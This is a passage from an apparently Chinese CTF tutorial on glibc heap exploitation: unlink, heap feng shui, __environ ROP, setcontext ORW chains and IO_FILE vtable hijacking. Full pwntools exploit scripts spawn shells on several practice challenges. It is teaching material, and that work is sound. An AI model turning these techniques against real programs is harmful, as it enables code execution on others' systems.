libc = ELF('./libc.so.6')#ELF('/lib/x86_64-linux-gnu/libc.so.6')#

def cmd(command:int):
p.recvuntil(b">>")
p.sendline(str(command).encode())

def new(size:int, content):
cmd(1)
p.recvuntil(b"Size:")
p.sendline(str(size).encode())
p.recvuntil(b"Content:")
p.send(content)

def free():
cmd(2)

def show():
cmd(3)

def edit(content):
cmd(5)
p.recvuntil(b"Content:")
p.send(content)

def exp(hit_byte):
new(0x80, b'arttnba3')
free()
show()

heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
heap_base = heap_leak * 0x1000
log.success('heap base: ' + hex(heap_base))

edit(b'arttnba3arttnba4')
free()
edit(p64(heap_leak ^ (heap_base + 0x10)))
new(0x80, b'arttnba3')
new(0x80, b'\x00\x00' * (0xe + 0x10 + 9) + b'\x07\x00')
free()

new(0x40, (b'\x00\x00' * 3 + b'\x01\x00' + b'\x00\x00' * 2 + b'\x01\x00').ljust(0x70, b'\x00')) # unknown reason, bigger than 0x48 will failed.
new(0x30, b'\x00'.ljust(0x30, b'\x00'))
new(0x10, p64(0) + b'\xc0' + p8(hit_byte * 0x10 + 6)) # 1/16 to hit stdout
new(0x40, p64(0xfbad1800) + p64(0) * 3 + b'\x00')

libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x1e4744
new(0x10, p64(libc_base + libc.sym['__free_hook']))
new(0x70, p64(libc_base + libc.sym['system']))
new(0x10, b'/bin/sh\x00')
free()
p.interactive()

if __name__ == '__main__':
count = 1
i = 0
while True:
try:
print('the no.' + str(count) + ' try')
print(b'try: ' + b'\xc0' + p8(i * 0x10 + 6))
p = remote('node3.buuoj.cn', 26018)#process('./ff') #
exp(i)
except Exception as e:
print(e)
p.close()
i = i + 1
count = count + 1
i = i % 16
continue

运行即可get shell

image.png

由于 unlink 中存在着各种各样的安全检测,因此我们无法通过 unlink 直接进行任意地址写入

但是我们仍旧能够通过 unlink 机制将特定地址写入到特定的位置

设指向可 UAF chunk 的指针的地址为 ptr

  1. 修改 fd 为 ptr - 0x18
  2. 修改 bk 为 ptr - 0x10
  3. 触发 unlink

ptr 处的指针会变为 ptr - 0x18。

惯例的 checksec ,保护全…只开了 NX 和 canary

image.png

拖入IDA 进行分析

没有菜单提示的菜单题(恼)

大概是有分配、释放、编辑堆块功能

image.png

漏洞在于编辑长度自定,存在堆溢出

image.png

没有打印功能,没有tcache也难整任意地址写(fastbin size检查),那就只能通过unlink劫持got表了(恼)

大概是构造如下堆布局(表格有点丑,将就着看(x)),因为存放堆指针的数组在bss段上,没开PIE,那我们直接用 unlink 劫持got表即可

address prev_size size
chunk2 0 0x31
(fake chunk) 0 0x21
chunk_array[2] - 0x18 chunk_array[2] - 0x10
chunk3 0x20 0x90

大概能够满足 fake chunk->FD->BK = fake chunkfake chunk->BK->FD = fake chunk ,此时 free(chunk3),由于 prev_in_use 位为 0,我们的 fake chunk 就会被合并到chunk3中

接下来的 unlink 操作会将fake chunk->FD->BK 赋值为fake chunk->BK,将fake chunk->BK->FD 赋值为fake chunk->FD

存放 chunk2 指针的位置存放的指针变成了 chunk_array 的地址,此时我们便可以直接修改 chunk_array 中指针,劫持 got 表一套带走

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
context.log_level = 'DEBUG'
context.arch = 'amd64'
p = remote('node3.buuoj.cn',27629)#process('./stkof') #
e = ELF('./stkof')
libc = ELF('/home/arttnba3/Desktop/CTF/libc/64bit/libc-2.23.so')#ELF('/lib/x86_64-linux-gnu/libc.so.6')#
def new(size:int):
p.sendline(b'1')
p.sendline(str(size))
p.recvuntil(b'OK')

def edit(index:int ,size:int ,content):
p.sendline(b'2')
p.sendline(str(index))
p.sendline(str(size))
p.send(content)
p.recvuntil(b'OK')

def free(index:int):
p.sendline(b'3')
p.sendline(str(index))

def dump(index:int):
p.sendline(b'4')
p.sendline(str(index))

def exp():
new(0x10) # idx 1
new(0x20) # idx 2
new(0x80) # idx 3
new(0x10) # idx 4
edit(2, 0x30, p64(0) + p64(0x21) + p64(0x602140 + 0x10 - 0x18) + p64(0x602140 + 0x10 - 0x10) + p64(0x20) + p64(0x90))
free(3)
edit(2, 0x28, p64(0) * 2 + p64(e.got['free']) + p64(0x602138) + p64(e.got['puts']))
edit(1, 0x8, p64(e.plt['puts']))
free(3)

puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym['puts']
log.success('libc base: ' + hex(libc_base))
edit(2, 0x28, p64(0) * 2 + p64(e.got['free']) + p64(0x602138) + p64(libc_base + libc.search(b'/bin/sh\x00').__next__()))
edit(1, 0x8, p64(libc_base + libc.sym['system']))
free(3)
p.interactive()

if __name__ == '__main__':
exp()

运行即可 get shell

image.png

七、堆风水(Heap Fengshui)

所谓堆风水也叫作堆排布,其实说严格了并不是一种漏洞的利用方法,而是一种灵活布置堆块来控制堆布局的方法,在一些一些其他漏洞的利用中起到效果

堆风水一词源于中国道教的“风水”一词,这个词无法很好地被翻译为英文故直接取其拼音

Pwn手人人都是风水大师(误)

例题:babyfengshui_33c3_2016 - heap arrangement + got table hijack

惯例的checksec,开了NX和canary

image.png

拖入IDA进行分析

image.png

我们不难看出分配堆块时所生成的大致结构应当如下,且该结构体malloc的大小为0x80,处在unsorted bin 范围内

image.png

漏洞点在于对输入长度的检测,它是检测的是我们所输入的长度是否大于从description chunk的addr到struct chunk的prev_size的长度

image.png

在常规情况下我们似乎只能够覆写掉PREV_SIZE的一部分,不痛不痒

但是考虑这样的一种情况:我们先分配两个大块(chunk4,其中第一个块的size要在unsorted范围内),之后释放掉第一个大块,再分配一个size更大的块,unsorted bin内就会从这个大chunk(由两个chunk合并而来)中切割一个大chunk给到description,之后再从下方的top chunk切割0x90来给到struct,这个时候*由于对length的错误判定就会导致我们有机会覆写第二个大块中的内容

image.png

故考虑先覆写第二个大块中的 description addr 为 free@got 后泄漏出 libc 的基址,后再修改 free@got 为 system 函数地址后释放一个内容为"/bin/sh"的 chunk 即可通过 system("/bin/sh") 来 get shell

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
p = process('./babyfengshui_33c3_2016') # remote('node3.buuoj.cn',26486)
e = ELF('./babyfengshui_33c3_2016')
libc = ELF('./libc-2.23.so')

def cmd(command:int):
p.recvuntil(b"Action: ")
p.sendline(str(command).encode())

def new(size:int, name, length:int, descryption):
cmd(0)
p.recvuntil(b"size of description: ")
p.sendline(str(size).encode())
p.recvuntil(b"name: ")
p.sendline(name)
p.recvuntil(b"text length: ")
p.sendline(str(length).encode())
p.recvuntil(b"text: ")
p.sendline(descryption)

def free(index:int):
cmd(1)
p.recvuntil(b"index: ")
p.sendline(str(index).encode())

def show(index:int):
cmd(2)
p.recvuntil(b"index: ")
p.sendline(str(index).encode())

def edit(index:int, length:int, descryption):
cmd(3)
p.recvuntil(b"index: ")
p.sendline(str(index).encode())
p.recvuntil(b"text length: ")
p.sendline(str(length).encode())
p.recvuntil(b"text: ")
p.sendline(descryption)

def exp():
new(0x80, "arttnba3", 0x10, "arttnba3") # idx 0
new(0x10, "arttnba3", 0x10, "arttnba3") # idx 1
new(0x10, "arttnba3", 0x10, "/bin/sh\x00") # idx 2
free(0)

big_size = 0x80 + 8 + 0x80
padding_length = 0x80 + 8 + 0x80 + 8 + 0x10 + 8
new(big_size, "arttnba3", padding_length + 4, b'A' * padding_length + p32(e.got['free'])) # idx 3
show(1)

p.recvuntil(b"description: ")
free_addr = u32(p.recv(4))
libc_base = free_addr - libc.sym['free']

edit(1, 0x10, p32(libc_base + libc.sym['system']))
free(2)
p.interactive()

if __name__ == "__main__":
exp()

运行即可get shell

image.png

八、ROP in heap exploit

在堆题的世界并非只能够通过劫持各种 hook 来达到控制程序执行流的效果,传统的在栈上构造 ROP 链的方式仍旧未过时,利用各种 pwn 技巧我们仍旧可以通过在栈上构造 ROP 链的方式控制程序执行流

__environ

__environ 是一个保存了栈上变量地址的系统变量,位于 libc 中,利用 gdb 调试我们可以很方便地得知其与栈上地址间的偏移,以此在栈上构造 ROP 链劫持程序执行流

例题:miniLCTF2020 - heap_master - tcache double free(use after free) + orw

点击下载-pwn

惯例的checksec,发现除了地址随机化以外都开上了

image.png

拖入IDA进行分析

image.png

程序本身有着分配堆块、释放堆块、输出堆块内容的功能

我们发现在delete()函数中free()并没有将相应堆块指针置0,存在UAF

image.png

题目提示libc可能是2.23也可能是2.27,尝试直接进行double free,发现程序没有崩溃,故可知是没有double free检查的2.27的tcache

libc2.29后tcache加入double free检查

image.png

main()函数开头的init()函数中调用了prctl()函数,限制了我们不能够getshellimage.png

首先我们想到,我们可以先填满tcache,之后分配一个unsorted bin范围的chunk,通过打印该chunk的内容获取main_arena + 0x60的地址,进而获得libc的地址

虽然我们不能够 getshell,但是依然可以通过 double free 进行任意地址写,毕竟CTF题目的要求是得到flag,不一定要得到shell,故考虑通过 environ 变量泄漏出栈地址后在栈上构造 rop 链进行 orw 读出flag

通过动态调试我们容易得到___environnew()中的返回地址间距离为0x220,将rop链写到这个返回地址上即可接收到flag

image.png

image.png

构造payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *

context.log_level = 'DEBUG'
context.arch = 'amd64'

p = process('./pwn') # p = remote('pwn.challenge.lctf.online',10042)
e = ELF('./pwn')
libc = ELF('./libc-2.27.so')

note_addr = 0x6020c0
flag_addr = e.bss() + 0x500

def new(size:int, content):
p.recvuntil(b'>> ')
p.sendline(b'1')
p.recvuntil(b'size?')
p.sendline(str(size).encode())
p.recvuntil(b'content?')
p.send(content)

def delete(index:int):
p.recvuntil(b'>> ')
p.sendline(b'2')
p.recvuntil(b'index ?')
p.sendline(str(index).encode())

def dump(index:int):
p.recvuntil(b'>> ')
p.sendline(b'3')
p.recvuntil(b'index ?')
p.sendline(str(index).encode())

def exp():
p.recvuntil(b'what is your name? ')
p.sendline(b'arttnba3')

new(0x80, 'arttnba3') # idx 0
new(0x80, 'arttnba3') # idx 1
new(0x60, 'arttnba3') # idx 2
new(0xb0, 'arttnba3') # idx 3

# fill the tcache
for i in range(7):
delete(0)

# unsorted bin leak libc addr
delete(1)
dump(1)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x60
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.sym['__malloc_hook'] # 0x3cbc30
environ = libc_base + libc.sym['__environ'] # 0x3ee098
pop_rdi_ret = libc_base + libc.search(asm('pop rdi\nret')).__next__()
pop_rsi_ret = libc_base + libc.search(asm('pop rsi\nret')).__next__()
pop_rdx_ret = libc_base + libc.search(asm('pop rdx\nret')).__next__()

# double free in tcache 2
delete(2)
delete(2)

# overwrite node[0]
new(0x60, p64(note_addr)) # idx 4, former 2
new(0x60, 'arttnba3') # idx 5, former 2
new(0x60, p64(environ))# idx 6, locate at the note[0] and overwrite it

# leak stack addr
dump(0)
stack_leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
ret = stack_leak - 0x220

# rop chain
payload = p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_ret) + p64(4) + p64(e.plt['read']) # read str 'flag' from input
payload += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(4) + p64(libc_base + libc.sym['open'])# open file 'flag'
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_ret) + p64(0x30) + p64(e.plt['read'])# read flag from file ptr 3(opened by open())
payload += p64(pop_rdi_ret) + p64(flag_addr) + p64(e.plt['puts'])

# double free write rop chain on stack
delete(3)
delete(3)
new(0xb0, p64(ret))# idx 7, former 3
new(0xb0, 'arttnba3') # idx 8, former 3
new(0xb0, payload) # idx 9, locate on the stack

# get the flag
p.send('flag')
p.interactive()

if __name__ == '__main__':
exp()

运行脚本即得flag

image.png

setcontext

setcontext函数是libc中一个独特的函数,其中存在着一个可以让我们控制各寄存器的gadget,如下图所示(来自ScUpax0s - 字节跳动ByteCTF2020 两道堆题

DQ7UyV.png

只要我们能够控制 rdi 寄存器,在特定的位置构造一个 ucontext_t结构体 ,执行setcontext + 61位置上的gadget,就能通过类似 SROP 的过程控制进程各寄存器的值,随后就是栈迁移 + ROP一套带走

通常情况下选择在堆上构造 ucontext_t结构体,劫持__free_hook为以下gadget:

image.png

这个 gadget 一般在这个函数里

image.png

例题:bytectf2020 - gun - Use After Free + fastbin double free + ORW

点击下载-gun

点击下载-libc-2.31.so

惯例的checksec,保护全开(大比赛的堆题好像都是保护全开,已经没有checksec的必要了

image.png

拖入IDA进行分析,IDA分析出一坨shit

符号表扣光,啥都看不出(悲)

image.png

seccomp限制了一堆东西,琢磨着应该是拿不到shell了,应该还是只能走orw拿弗莱格

image.png

程序模拟了一把枪,能够射出、装载、购买子弹,其中子弹对应的就是chunk,购买子弹对应malloc

image.png

最多能够分配14个堆块,空间充足(x

image.png

buy()函数中限制了chunk的size为0x10~0x500(似乎没什么用)

image.png

其中qword_4070存放的是子弹槽对应标志位,0为该槽子弹已被射出(free),1为该槽已被使用(存放有chunk指针),2为该槽子弹已被装载(链入”弹匣“单向链表中)

综合起来我们不难看出其使用一个结构体来表示一个“子弹”

1
2
3
4
5
6
typedef struct __INTERNAL_BULLET_
{
char * name;
long long flag;
struct __INTERNAL_BULLET_ * next_bullet;
}bullet;

其中成员name储存的便是chunk指针

load()函数中会使用头插法构建”弹匣“(单向链表),其中会使用chunk的bk指针存储原链表中头结点

image.png

shoot()函数中会依次将”弹匣“链表上的”子弹”释放,随后会将该子弹的flag置0,但是没有清空其next_chunk指针,存在 Use After Free 漏洞,对于子弹链表的不严格检测可以导致double free

同时shoot函数还整合了打印堆块内容的功能,利用这个功能我们可以通过再分配后二次释放的方式通过chunk上残留指针泄露 libc 基址与堆基址

image.png

由于题目所给的 libc 版本为 2.31,添加了对 tcache key 的检测,无法直接在 tcache 内进行 double free,故考虑先填满 tcache 后在 fastbin 内 double free,后通过 stash 机制清空 tcache 使得 fastbin 内形如 A->B->A 的 chunk 倒入 tcache 中,实现任意地址写,这种做法不需要通过 fastbin 的 size 检查

同时由于程序本身限制了系统调用,我们只能通过orw读取flag

考虑通过setcontext()中的gadget进行控制寄存器,同时我们还需要控制rdx寄存器,考虑劫持__free_hook后通过libc中如下gadget控制rdx后跳转至setcontext函数内部:

image.png

最后通过setcontext构建的rop链orw即可,使用pwntools中的SigreturnFrame()可以快速构造 ucontext_t结构体

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from pwn import *
context.arch = 'amd64'
#context.log_level = 'debug'

p = process('./gun')
e = ELF('./gun')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')

def cmd(command:int):
p.recvuntil(b"Action> ")
p.sendline(str(command).encode())

def shoot(times:int):
cmd(1)
p.recvuntil(b"Shoot time: ")
p.sendline(str(times).encode())

def load(index:int):
cmd(2)
p.recvuntil(b"Which one do you want to load?")
p.sendline(str(index).encode())

def buy(size:int, content):
cmd(3)
p.recvuntil(b"Bullet price: ")
p.sendline(str(size).encode())
p.recvuntil(b"Bullet Name: ")
p.sendline(content)

def exp():
p.sendline(b"arttnba3")

buy(0x10, b"arttnba3") # idx 0
buy(0x500, b"arttnba3") # idx 1
buy(0x10, b"arttnba3") # idx 2

# leak the libc addr
load(1)
shoot(1)
buy(0x20, b'') # idx 1
load(1)
shoot(1)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 1168
__malloc_hook = main_arena - 0x10
libc_base = __malloc_hook - libc.sym['__malloc_hook']
log.success('libc base: ' + hex(libc_base))

# leak the heap addr
buy(0x20, b'AAAAAAAAAAAAAAAA') # idx 1
load(1)
shoot(1)
p.recvuntil(b'AAAAAAAAAAAAAAAA')
heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
log.info('heap addr leak: ' + hex(heap_leak))
heap_base = heap_leak & 0xfffffffff000
log.success('heap base: ' + hex(heap_base))

# construct the fake_frame on heap
fake_frame_addr = heap_base + 0x310 + 0x10
fake_frame = SigreturnFrame()
fake_frame['uc_stack.ss_size'] = libc_base + libc.sym['setcontext'] + 61
fake_frame.rdi = 0
fake_frame.rsi = libc_base + libc.sym['__free_hook']
fake_frame.rdx = 0x200
fake_frame.rsp = libc_base + libc.sym['__free_hook']
fake_frame.rip = libc_base + libc.sym['read']

load(0)
shoot(1)
buy(0x100, bytes(fake_frame))

# tcache poisoning with fastbin double free
for i in range(9):
buy(0x20, b'arttnba3')
load(9)
load(10)
shoot(2)
buy(0x20, b'arttnba3') # idx 9
buy(0x20, b'arttnba3') # idx 10
load(1)
for i in range(6):
load(3 + i)
shoot(7)
load(10)
load(9)
shoot(3) # double free in fastbin
for i in range(7):
buy(0x20, b'arttnba3') # clear the tcache
buy(0x20, p64(libc_base + libc.sym['__free_hook'])) # idx 9
buy(0x20, b'./flag\x00') # idx 10, which we use to store the flag
buy(0x20, b'arttnba3') # idx 11, overlapping chunk with idx 9
buy(0x20, p64(libc_base + 0x154930)) # idx12, our fake chunk on __free_hook

# construct the setcontext with gadget chain
flag_addr = heap_base + 0x570 + 0x10

payload = p64(0) + p64(fake_frame_addr)# rdi + 8 for the rdx, we set it to the addr of the fake frame

buy(0x100, payload) # idx 13

# construct the orw rop chain
pop_rdi_ret = libc_base + libc.search(asm('pop rdi ; ret')).__next__()
pop_rsi_ret = libc_base + libc.search(asm('pop rsi ; ret')).__next__()
pop_rdx_ret = libc_base + libc.search(asm('pop rdx ; ret')).__next__()
pop_rdx_pop_rbx_ret = libc_base + libc.search(asm('pop rdx ; pop rbx ; ret')).__next__()

orw = b''
orw += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(4) + p64(libc_base + libc.sym['open'])
orw += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_pop_rbx_ret) + p64(0x20) + p64(0) + p64(libc_base + libc.sym['read'])
orw += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_pop_rbx_ret) + p64(0x20) + p64(0) + p64(libc_base + libc.sym['write'])

# get the flag
load(13)
shoot(1)
p.sendline(orw)
p.interactive()

if __name__ == '__main__':
exp()

运行即可获得flag

image.png

有关setcontext()的利用见:setcontext 函数exploit - Ex个人博客

以及构造rop链时遇到了一个玄学问题…使用libc中的pop rdx ; ret的gadget会触发Segmentation Fault,只好改用pop rdx ; pop rbx ; ret的gadget来更改rdx寄存器的值…原因不明…

九、IO_FILE exploit

对于FILE结构体的利用也是CTF中的大热门之一,通过修改FILE结构体或是劫持vtable表等方式可以令攻击者十分方便地控制程序执行流

对于FILE结构体的相关定义见CTF WIKI

vtable hijack

对于每一个FILE结构体,其都有一个虚函数表,在通过FILE结构体实现各种输入输出功能时往往会调用其中的函数指针,那么我们不难想到,只要我们能够控制该虚函数表,就能通过FILE结构体相关的函数调用流程控制程序执行流

例题:[V&N2020 公开赛]easyTHeap - Use After Free + tcache hijact + tcache poisoning + one_gadget

惯例的checksec,保护全开

image.png

拖入IDA进行分析

image.png

程序本身有着分配、编辑、打印、释放堆块的功能,算是功能比较齐全

但是程序本身限制了只能分配7次堆块,只能释放3次堆块

image.png

漏洞点在于free功能中没有将堆块指针置NULL,存在Use After Free漏洞

image.png

虽然说在分配堆块的功能中并没有过于限制大小(0x100),但是题目所给的libc是有着tcache的2.27版本,需要通过unsorted bin泄露main_arena的地址我们至少需要释放8次堆块才能获得一个unsorted chunk,而我们仅被允许释放3次堆块

但是利用use after free我们是可以泄露堆基址的,而用以管理tcache的tcache_perthread_struct结构体本身便是由一个chunk实现的

libc2.27 中没有对 tcache double free 的检查,故在这里我们可以通过tcache double free结合use after free泄漏出堆基址后伪造一个位于tcache_perthread_struct结构体附近的fake chunk以劫持tcache_perthread_struct结构体修改tcache_perthread_struct->counts中对应index的值为7后释放chunk便可以获得unsorted bin以泄露libc基址

惯例的pwndbg动态调试,我们可以得到tcache结构体的size,也就得到了偏移

image.png

需要注意的是在free功能中会将其保存的chunk size置0, 因而我们需要重新将这个chunk申请回来后才能继续编辑

这道题最经典的做法就是套板子,劫持__malloc_hook为one_gadget以get shell

但是除了劫持__malloc_hook为one_gadget之外,我们也可以通过劫持_IO_2_1_stdout_中的vtable表的方式调用one_gadget

观察到程序中在我们edit之后会调用puts()函数

image.png

puts()函数定义于libio/ioputs.c中,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int
_IO_puts (const char *str)
{
int result = EOF;
size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout);

if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1);

_IO_release_lock (_IO_stdout);
return result;
}

weak_alias (_IO_puts, puts)
libc_hidden_def (_IO_puts)

观察到其会使用宏_IO_sputn,该宏定义于libio/libioP.c中,如下:

1
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)

套娃宏,跟进:

1
2
3
4
5
6
7
8
9
10
#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
...
#define _IO_JUMPS_OFFSET 0
...
#if _IO_JUMPS_OFFSET
...
#else
# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
...
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)

puts函数最终会调用vtable表中的__xsputn函数指针,gdb调试我们可以知道其相对表头偏移应当为0x30(64位下)

image.png

由于自libc2.24始增加了对vtable表的合法性检测,故我们只能执行位于合法vtable表范围内的函数指针

考虑到_IO_str_finish函数会将FILE指针 + 0xE8的位置作为一个函数指针执行,故我们选择修改_IO_2_1_stdout_的vtable表至特定位置以调用_IO_str_finish函数

表_IO_str_jumps中存在着我们想要利用的_IO_str_finish函数的指针,且该表是一个合法vtable表,故只要我们将stdout的vtable表劫持到_IO_str_finish附近即可成功调用_IO_str_finish函数

image.png

由_IO_jump_t结构体的结构我们不难计算出fake vtable的位置应当为_IO_str_jumps - 0x28

劫持vtable表后在_IO_2_1_stdout_ + 0xE8的位置放上one_gadget,即可在程序调用puts函数时get shell

通过gdb调试可以帮助我们更好地构造fake _IO_2_1_stdout_结构体

image.png

image.png

需要注意的一点是有少部分符号无法直接通过sym字典获得,我们在这里采用其相对偏移以计算其真实地址,详见注释

image.png

故最后构造的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *

#context.log_level = 'DEBUG'
context.arch = 'amd64'

p = process('./vn_pwn_easyTHeap') # p = remote('node3.buuoj.cn',26233)
e = ELF('./vn_pwn_easyTHeap')
libc = ELF('./libc-2.27.so')
one_gadget = 0x4f322

def cmd(choice:int):
p.recvuntil(b"choice: ")
p.sendline(str(choice).encode())

def new(size:int):
cmd(1)
p.recvuntil(b"size?")
p.sendline(str(size).encode())

def edit(index:int, content):
cmd(2)
p.recvuntil(b"idx?")
p.sendline(str(index).encode())
p.recvuntil(b"content:")
p.send(content)

def dump(index:int):
cmd(3)
p.recvuntil(b"idx?")
p.sendline(str(index).encode())

def free(index:int):
cmd(4)
p.recvuntil(b"idx?")
p.sendline(str(index).encode())

def exp():
# tcache double free
new(0x100) # idx0
new(0x100) # idx1
free(0)
free(0)

# leak the heap base
dump(0)
heap_leak = u64(p.recv(6).ljust(8, b"\x00"))
heap_base = heap_leak - 0x260
log.info('heap base leak: ' + str(hex(heap_base)))

# tcache poisoning, hijack the tcache struct
new(0x100) # idx2
edit(2, p64(heap_base + 0x10))
new(0x100) # idx3
new(0x100) # idx4, our fake chunk
edit(4, b"\x07".rjust(0x10, b"\x07")) # all full

# leak the libc base
free(0)
dump(0)
main_arena = u64(p.recvuntil(b"\x7f").ljust(8, b"\x00")) - 96
__malloc_hook = main_arena - 0x10
libc_base = __malloc_hook - libc.sym['__malloc_hook']
log.info('libc base leak: ' + str(hex(libc_base)))

# construct the fake file structure
fake_file = b""
fake_file += p64(0xFBAD2886) # _flags, an magic word, we need to (0xFBAD2887 & (~0x1)) to clear the _IO_USER_BUF flag to pass the check in _IO_str_finish
fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 131) * 7 # from _IO_read_ptr to _IO_buf_base
fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 132) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(libc_base + libc.sym['_IO_2_1_stdin_']) # the FILE chain ptr
fake_file += p32(1) # _fileno for stdout is 1
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file += p16(0) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x1e20) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_'] - 0xe20) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, -1
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8,b'\x00') # adjust to vtable
fake_file += p64(libc_base + libc.sym['_IO_file_jumps'] + 0xc0 - 0x28) + p64(0) + p64(libc_base + one_gadget) # set the vtable to _IO_str_jumps - 0x28 and set the _IO_2_1_stdout_ + 0xe8 to one_gadget

# tcache poisoning, hijack the _IO_2_1_stdout and its vtable
edit(4, b"\x10".rjust(0x10, b"\x00") + p64(0) * 21 + p64(libc_base + libc.sym['_IO_2_1_stdout_']))
new(0x100) # idx5, our fake chunk
edit(5, fake_file)

# get the shell
p.interactive()

if __name__ == '__main__':
exp()

运行即可get shell

image.png

_IO_FILE_plus结构体中 vtable 相对偏移

在 libc2.23 版本下,32 位的 vtable 偏移为 0x94,64 位偏移为 0xd8

ctf-wiki: FILE structure

vtable 合法性检测(start from glibc2.24)

自从glibc2.24版本起便增加了对于vtable的检测,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* Perform vtable pointer validation.  If validation fails, terminate
the process. */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

gdb调试可知这个section_length的长度为3432(0xd68):

image.png

由此,我们所构造的fake vtable的位置受到了一定的限制,即只能在__start___libc_IO_vtables往后0xd68字节的范围内

vtable表劫持姿势(under glibc2.28)

在glibc2.28往前的版本中_IO_str_finish函数会将_IO_2_1_stdout_ + 0xE8的位置作为一个函数指针执行,故我们通常考虑在这个位置放上我们想要执行的指令地址(如one_gadget)并将vtable表劫持到适合的位置以执行_IO_str_finish()函数

通常情况下,我们考虑劫持_IO_2_1_stdout_并修改其vtable表至表_IO_str_jumps附近,该vtable表定义于libio/sstrops.c中,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
